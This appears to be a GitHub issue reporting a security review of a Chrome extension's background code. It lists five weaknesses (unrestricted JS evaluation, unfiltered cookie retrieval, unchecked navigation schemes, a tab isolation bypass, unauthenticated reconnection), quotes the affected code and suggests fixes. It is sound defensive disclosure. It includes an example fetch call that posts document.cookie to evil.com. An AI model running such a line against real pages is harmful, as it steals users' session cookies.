-
Notifications
You must be signed in to change notification settings - Fork 541
Description
Hey — we've been doing a security review of the Chrome extension code (the extension/ directory) and found a few things worth hardening, especially in light of the daemon auth work in #395 / #397. That PR locks down who can talk to the daemon, but doesn't address what the extension will do once a command arrives. If the token is ever leaked, or if there's a future bypass, these become the next line of defense.
Here's what we found:
1. CRITICAL: Unrestricted arbitrary JS execution via exec
handleExec in background.ts passes cmd.code straight through to Runtime.evaluate with zero validation:
async function handleExec(cmd: Command, workspace: string): Promise<Result> {
if (!cmd.code) return { id: cmd.id, ok: false, error: 'Missing code' };
const tabId = await resolveTabId(cmd.tabId, workspace);
const data = await executor.evaluateAsync(tabId, cmd.code);
return { id: cmd.id, ok: true, data };
}And in cdp.ts:
const result = await chrome.debugger.sendCommand({ tabId }, 'Runtime.evaluate', {
expression, // <-- whatever was sent
returnByValue: true,
awaitPromise: true,
});Any string gets evaluated in the page context. An attacker with daemon access (or a compromised CLI plugin) can run fetch('https://evil.com/steal', { method: 'POST', body: document.cookie }) or worse. There's no allowlist, no sandboxing, no CSP-like restriction.
Suggested fix: This is the hardest one since exec is the core feature. At minimum:
- Log all executed code for audit
- Consider a
--safe-modeflag that restricts execution to a curated set of DOM query helpers instead of raw eval - Rate-limit
execcalls to prevent exfiltration loops
2. HIGH: Cookie exfiltration — unfiltered getAll
handleCookies happily returns every cookie from every domain when no filter is provided:
async function handleCookies(cmd: Command): Promise<Result> {
const details: chrome.cookies.GetAllDetails = {};
if (cmd.domain) details.domain = cmd.domain;
if (cmd.url) details.url = cmd.url;
const cookies = await chrome.cookies.getAll(details);
// ...returns name, value, domain, path, secure, httpOnly, expirationDate
}If neither domain nor url is set, chrome.cookies.getAll({}) dumps all cookies from all domains, including HttpOnly session tokens that JavaScript normally can't access. The manifest declares the cookies permission with no host restrictions, so this covers everything.
Suggested fix:
- Require at least one of
domainorurl— reject the command otherwise - Consider restricting to cookies from the current automation tab's origin only
- Don't return
valueforhttpOnlycookies (or redact them entirely)
3. HIGH: No URL scheme validation on navigate
handleNavigate passes cmd.url directly to chrome.tabs.update without checking the scheme:
await chrome.tabs.update(tabId, { url: targetUrl });This means a caller can navigate to:
file:///C:/Users/username/Documents/secrets.txt— read local filesdata:text/html,<script>...</script>— phishing pages that look like real sitesjavascript:...— (may be blocked by Chrome, but shouldn't rely on it)
Suggested fix:
- Allowlist schemes: only permit
http:,https:, and maybedata:for blank pages - Block
file://,javascript:,chrome://,chrome-extension://explicitly - The
isDebuggableUrlcheck exists but only blockschrome://andchrome-extension://— it should be expanded
4. MEDIUM: Tab ID parameter bypasses automation window isolation
The extension creates a dedicated automation window to avoid touching the user's browsing session — good idea. But resolveTabId accepts an explicit tabId and uses it directly:
async function resolveTabId(tabId: number | undefined, workspace: string): Promise<number> {
if (tabId !== undefined) {
try {
const tab = await chrome.tabs.get(tabId);
if (isDebuggableUrl(tab.url)) return tabId; // <-- returns any tab, any window
} catch { ... }
}
// ...otherwise falls back to automation window
}A caller can pass any valid tabId — including tabs in the user's personal browser window — and exec will happily run JS there, screenshot will capture it, etc. The automation window isolation is only enforced when tabId is omitted.
Suggested fix:
- When an explicit
tabIdis provided, verify it belongs to the automation window (tab.windowId === automationSession.windowId) - Or at minimum, log a warning when targeting tabs outside the automation window
5. LOW: Persistent reconnect to hardcoded port
The extension reconnects to ws://localhost:19825/ext with exponential backoff, forever:
export const DAEMON_PORT = 19825;
export const DAEMON_WS_URL = `ws://${DAEMON_HOST}:${DAEMON_PORT}/ext`;function scheduleReconnect(): void {
reconnectAttempts++;
const delay = Math.min(WS_RECONNECT_BASE_DELAY * Math.pow(2, reconnectAttempts - 1), WS_RECONNECT_MAX_DELAY);
reconnectTimer = setTimeout(() => { connect(); }, delay);
}If a malicious process binds port 19825 before the real daemon starts, the extension will connect to it and start executing commands from an untrusted source. The token auth from #397 mitigates this on the daemon side, but the extension itself doesn't verify the server's identity — it just connects and starts processing messages.
Suggested fix:
- The extension should verify the daemon's identity (e.g., the daemon sends a challenge signed with the shared token)
- Or at minimum, the extension should send its own token in the WS handshake and only process commands after auth succeeds
- Cap total reconnect attempts before giving up
None of these are "the sky is falling" — the localhost binding + the new token auth from #397 are real barriers. But defense in depth matters, especially for a tool that has debugger + cookies + tabs permissions with no host restrictions. Would love to hear thoughts on which of these are worth tackling first.